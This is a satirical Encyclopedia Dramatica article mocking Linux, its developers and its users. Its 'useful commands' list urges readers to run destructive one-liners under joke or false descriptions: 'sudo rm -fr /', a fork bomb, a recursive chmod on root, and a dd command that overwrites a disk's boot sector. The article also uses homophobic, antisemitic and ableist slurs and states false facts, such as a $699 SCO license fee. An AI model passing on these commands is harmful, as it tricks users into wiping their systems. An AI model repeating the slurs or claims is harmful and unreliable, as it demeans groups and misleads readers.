Lunix
From Encyclopedia Dramatica
| —Welcome to Linux! |
Kernel Panic: NTLDR not detected.
Lunix ("the Loser's UNIX") is the poor-man's version of the monolithic UNIX system; also, it is one of the most powerful contraceptives evar. The moar one learns about Lunix, the moar powerful its fertility-stealing powers become. It is recommended that you try Lunix, since everyone knows your gonads are made of fail.
It is an operating system that was the result of really crappy reverse-engineering efforts to create a free version of UNIX. Linus Torvalds and Alan Cox are the perpetrators behind this travesty. Tons of people use it, especially hippies, and no one really likes it except the terminally uncool. Most of them use it in violation of SCO's intellectual property rights. To use Lunix legally, one must pay a $699 license fee to SCO for each processor that runs the Lunix kernel.
Lunix, like the Macintosh, attracts legions of fanboys. These penguinistas form communities that are irresistible to trolls. Though especially rabid on defense, penguinistas can rarely give it as good as they take it. Lunix trolls, in the guise of advocacy, often go to other communities to evangelize about Lunix on the slimmest pretense. Unlike most drama, the flame wars between OS advocates aren't entertaining.
Lunix is the Communist or anarchist version of Microsoft. Leftards love it and Rightards love to laugh when they see it trying too hard.
Useful Lunix commands of the day
apt-get moo
aptitude moo
aptitude -v moo
aptitude -vv moo (add moar v to taste)
burn -f name.Jew name.ash
chown -R us ./*base
sudo rm -fr / (remakes local french languagepack, although the french are cool, so never do this)
chmod -r 555 /
chmod +rwx yourmom
man woman
make love
apt-get install aids
whois god
finger -sister
mount -raep
man mount - this is an unstandard addition, and was implemented by RMS
cat scouter | grep power_level > 9,000
touch /dev/b00bies
halt hammertime #cant touch this (MC Hammer always rolls as a super user)
:(){ :|:& };: (DO IT FAGGOT.)
dd if=/dev/urandom of=/dev/hda bs=512 count=1 (hda will vary. Use fdisk -l to determine hdd name. Oh... DO IT FAGGOT.)
Types of Lunaces
Lunix is much like the Honda Civic of operating systems: both in its modifiability and in the blind religious fervor of its fans, ways to troll the ever loving dickbarf out of which we'll explore later in this article. Civic fan-boys mod their cars into many different ricer variants, and not to be outdone, Lunix will often come in a wide-array of distributions.
They may also be referred to as "distros" foar short, but it doesn't matter because all of them are equally shitty in quality, require you to do everything by yourself and are equally frustrating and useless.
They're often "shipped" with such genius ideas as a 5GB default install; read-only configuration directory (Lunix knows no such thing as the registry); no network device drivers on the CD (I hope you have another computer or you'll have to go to a friend to download them and spend hours trying to build the modules); broken USB, WLAN card, display card, sound card, younameit support; random lockups with LI on boot; incomplete documentation that is littered with leet speak and totally incomprehensible syntax, which would need a dedicated compiler written to be human readable (man pages are shit); broken hibernation support for laptops (hibernation requires over a gig of drive space (so it's a good thing that it's fucked anyways) (on what FS? With how much RAM? GTFO You ignorant fuck)...and if you use hibernation on the Win side in case of double boot machines with NTFS, you are fucked; broken ACPI support resulting in random reboots; having a lot of useless services turned on by default; last but not least, using Caesar cypher for /etc/shadow passwords. No one understands what this last one means, although it sounds like something Lunix would do.
Not to mention the forums full of "self-taught geniuses" and/or arrogant trolls who somehow, despite being the "geniuses" they are, still have no clue on how to get a modern wireless network card working without using Windows drivers (unless having a very public SSID, no encryption at all, no MAC tables in use etc. what a piece of shit), or how to properly pluralize 'genius'. Which, with them, still only works about 5% of the time.
Then you give up and boot back into Windows, thus regaining a life again.
Some Lunix distributions with Encyclopedia Dramatica entries include Red Hat and Ubuntu. BSD is another popular thing that Lunix is like, though it doesn't have modular components and magical fairies included, you have to use ports to get those.
Here is the mascot Tox
The mascot of Lunix is a fat stoner penguin named "Mister Tox" (from "toxic"). Tox is the hero of those who want to go through life sitting around with a huge gut full of semi-digested fish (too many bongs will give you a big appetite, I guess.) Linus Torvalds picked out a penguin to be the mascot, because:
- all the good ones were already taken
- Tux, Linus Torvalds and several pieces by Erik Satie all are pear-shaped.
Did I mention he smells like a yak (and his wife can kick your ass)?
Types of Lunix Users
![Your average Lunix usergroup. Lunix leads to great things [1]](/Image:Linux_nylug_booth.jpg)
Penguinistas
A penguinista is a Lunix user who hides the fact that he dual boots into Windows to play Doom. During his free time, he tries to write a program that will make Windows programs run natively in Lunix. This will never happen. Some people have come close, but by the time they have 16 bit Windows emulated everyone else has moved on to 64 bit Windows. Oh yeah... they also use GIMP to collect welfare.
Mob Rule
| —Anonymous nerd trying to be funny, http://beta.grouphug.us/confessions/833992798 |
Collectively, Lunix users are nothing more than a mafia-run labour union that seeks only to flex its muscle by holding huge multi-national corporations hostage, and soil the good reputation of Maureen O'Gara. And, while they are keen on destroying all who oppose them, they are also quite stupid. This is why no one ever takes Lunix seriously.
Remember that Honda Civic metaphor from earlier?
. . .
Much like Civic fag-boys will often times claim that they've witnessed Honda Civics beating Lamborghinis and rocket ships in drag races, Lunix fans will often times claim that Lunix can out-perform the corporate flagships of the OS world (ie. Windows, Solaris, etc.), when in reality, most people couldn't even be paid to use Lunix.
Linux users are typically caught furiously masturbating in bathrooms and making jokes about /dev/null that no one else gets.People don't get jokes about /dev/null because they're out having a life, sex, and a well paid job- in that order, thanks to Windows streamlining their lives. Famous people who don't care about using Windows because it works without having to memorise 10,000 command line functions include Stephen Hawking and Barry Scott. Unknown retards who use Lunix include the person who wrote the original title for this section. A recent scientific study has concluded that using Linux makes you dick/breasts bigger. (Dick if you are (she-)male, breasts if you are male.)
It should be noted here that, in using Lunix, you are by no means immune to mental retardation!
Many of the Interwebs' greatest retards are in fact Windows users. Mainly due to the fact that introducing home-user linux machines onto the internet would be like infecting a cancer patient with AIDS, Linux limits the numbers of them automagically by offering horribly written, utterly unusable wifi card drivers (which are still distributed as if they actually were functional. By the way, does someone truly believe that open source software written by idle teens who can't get even a computing related summer-job is somehow bound to be of good quality?).
There is very little the internet can do about these specific Windows users mentioned previously. Although, with the help of ED it can try.
Lunix Trolling Techniques
Typical Lunix/BSD users are a sensitive lot. This is because their entire self-esteem is tied up in knowing obscure piping and scripting techniques that nobody in the real world gives a fuck about, (because we in the real world do not smell as bad and are meanwhile having a civilized discussion with chicks). If a Lunix user feels threatened about the coming obsolescence of his beloved OS, untold havoc will be unleashed. This will eventually produce lulz. For this reason, we reveal here the easiest ways to troll a lunix message board or IRC channel.
- If the subject of distros comes up, reply, "Yes, but what can [insert distro name] do that Ubuntu can't do?
- Claim that the Windows kernel design is better than lunix.
- Warn everyone that Mactel will destroy Desktop Lunix
- Ask "But can it run BSD?"
- If the subject of CLI comes up, reply, "But you could do that with DOS twenty years ago!"
- Predict that Solaris will eventually destroy Lunix
- Make completely baseless claims that you are the CEO of a major corportion (don't specify which one!) and say you see no future in Lunix.
- Tell everyone that Lunix isn't ready for grandma
"Don't want grandma finding your porn..."
- Quote Theo de Raadt
- Remind all Lunix users that they are still virgins
"No I'm not..."
- Point out that the BSD License is infinitely superior to the GPL
"Who gives a shit about licensing, if i want it, it's mine."
- Mention how your new laptop be obsolete by the time linux fully supports all its hardware.
- Ask when Adobe flash player will work properly in full screen mode.
- Incessantly ask every user about what parts of the code in their kernel were stolen from SCO.
- Let it be known that you appreciate Clippy
- Ask if Wine can run <insert program here> yet.
- Use the phrase "total cost of ownership."
- Say you don't care about binary blobs. You just want your hardware to work.
- Ask for advise on finding quality lunix games.
- Say that Linux is inferior for development because it doesn't have Visual Basic .NET
- Make it known that $699 (the fee you legally owe
SCONovell if you use Lunix) is $300 more than the price Windows Server 2003 Web Edition, which has more features, greater stability, and has been shown time and time again to have a higher ROI.
"Insert Lunix faggot retort here"
- Saying something like this:
"yes it´s very dificult to install programs,that´s whay there is so much people that use windows, instead of linux,if the linux developers make it easy like the .exe on windows,everybody will switch to linux." (comment copied from http://www.youtube.com/watch?v=DUSn-jBA3CE)
Most programs are already easy to setup in Lunix, but Microsoft still has a >95% market share in the OS business. The Lunix user knows this, but will deny the 'MS has 95% market share and will always keep it' part and rant about how easy it is to install programs in Lunix.
If you say any of these things during any of your conversations with a Lunix user, you are guaranteed to upset him. At this point, he will either cry like a little girl or write a twenty page manifesto on why you are wrong. Either way, he will be pwned.
What using Lunix will not do for you, although if you use it enough you might believe these to be the case
- Make you witty because of your exposure to jokes referring to command lines
- Make you rich because there's three rich guys who used Lunix
- Make you attractive to women because Bill Gates' wife is hot (note: Bill Gates uses Windows)
- Make you smarter
- Make you lose weight (note: Lunix, Mountain Dew, Nasal Spray and Pop Tarts are not proper diet and lifting one of your many massive Linux user-guide type books does not count as exercise)
- Make you superior to the human race. Superiority is not defined by the number of gutted computer carcasses in your home, or the depth of your basement, or by how many operating systems you can fit on your hard drive
- Make you lose your virginity
Fun things you can do on Lunix
- Update your drivers.
- Brag about your kernel.
- Reformat and install another distribution. (People have been known to do this continuously for weeks.)
- Watch a console display error messages
- Read countless manuals to do the simplest of tasks. And still fail
- Say you use Lunix (which will get your ass kicked)
- Eat KFC chicken around the clock.
- Manually edit config files
- Develop carpal tunnel from keyboard usage between bouts of excessive self-pleasure bourne out of social-retardation
- Keep your virginity
- Be a bad ass non-conformist.
- Getting an error message literally 'out of the blue'.
- Graphically chart the shrinkage of your penis (a highly requested feature among lunix users) over time with bundled, GPL'd software.
- Discussing the awesome non-ntfs filesystems you can use with linux, for example one written by a convicted wife murderer.
- Spend hours of your life compiling bits of code, just to find out it was EPIC FAIL!
- Read this article. That is, if you figure out how.
- Uhh, well that's pretty much it.
Why is Lunix so Shitty?
Well, mostly because of the stupid nerds who actually care about this stuff:
- Linus Torvalds - Unoriginal code thief from Mars.
- Richard Stallman - Charlie Manson look alike, Linus Torvalds wannabe, crybaby and a Communist who once said he wanted to conquer the entire world for free software.
- Eric Raymond - Guy who wrote a crappy mail program, a crappy word processor, and then a crappy E-book about both entitled "Cathedral and the Bazaar." Unlike 99.9% of the losers in the Lunix world (who take the notion of "Free as in beer" just a bit too seriously) Raymond is not a Communist, but no one really cares because he spends most of his free time banging his mother.
- Andrew Morton - Guy who writes and accepts thousands of badly coded patches into the Linux kernel tree which both break things and also make users of said patch set feel l33t.
- Alan Cox - The Theo de Raadt of Lunix. Is a drunk.
- Hans Reiser - Crazy murderer who lived in a cave.
- OpenGraphics - Professional failure stolen from someone.
- Slashdot - Asperger's syndrome victims.
- Lunix penguin gets raped by fur seal. This could even become a meme, maybe?
Installing Lunix on your Computer
Lunix can be installed on any desktop, laptop, cellphone, iphone, gaming system, wristwatch or large dildo in just a few simple steps:
- Download your chosen flavor of Lunix
- Hit harddrive repeatedly with hammer
- Get drunk
- Collect Underpants
- ???
- Profit!
How to become a master at linux
Becoming a master of linux/unix requires a lifetime of dedication. You've heard of monks of various religious that take vows of chastity to show that they have risen above lust. Monks that grow long beards to prove they have risen above vanity. Monks that abstain from the impurities of the world and sit in near total darkness starring at a small light like a candle flame or an electronic equivalent. Often these people are religious hermits.
It is this spiritual dedication that makes one a master of linux/unix.
TL;DR: To become a linux/unix master, you need to become a permavirgin with a unix beard and be a basement dweller hermit that never sees the sun.
"Fun" Lunix Facts!
- Lunix users never have to reboot. ACPI problems prevent that...use the power-strip after a crash or shutdown.
- Lunix users get laid about as often as they have to reboot. And if they do reboot they will fall short before the actual action is carried out.
- Most lunix users secretly use Windows.
- When you use Lunix, you will become so frustrated that you will constantly fight with windows, mac, and even other lunix users.
- Most servers use lunix because they are run by the homeless.
- Lunix stands for "Loser's unix."
- Lunix doesn't get viruses because they are pre-installed and dynamically create themselves.
- Lunix is "Free as in crap." You get what you pay for -- nothing.
- Lunix distributions try to shorten boot time, because suspend is not working.
- Encyclopediadramatica's server runs linux [2]
so all winfags suck dicksBECUASE YOU JEWFAGS NEVAR DONATE!. DONATE NOW so we can get a real server.
Congratulations, you now have the productivity that only Lunix can bring.
See Also
- Lesbian
<--LOL WUT?Debian[3], fgt! - UNIX
- BSD
- NetWare
- Legacy Computers
- $100 Laptop
External Links
- http://lesbian.mine.nu/ - The Lesbian GNU/Lunix distribution
- http://lng.sf.net/ - Lunix THE NeXT generation
- Youtube - Linux Dead - Troll destroying hundreds of Ubuntu ShipIt CD's with
hammerthat's a hatchet, dumbass. Notice the butthurt 13 year old boys and E-Psychiatrist's try who analyze him in the comments. - Is it can be lulz in Lunix now?
- Linux Hater's Blog.
- LUnix - The next generation, "an operationg [sic!] system primarly for the good old Commodore64 home-computer. There also is a native version for the successor Commodore128."
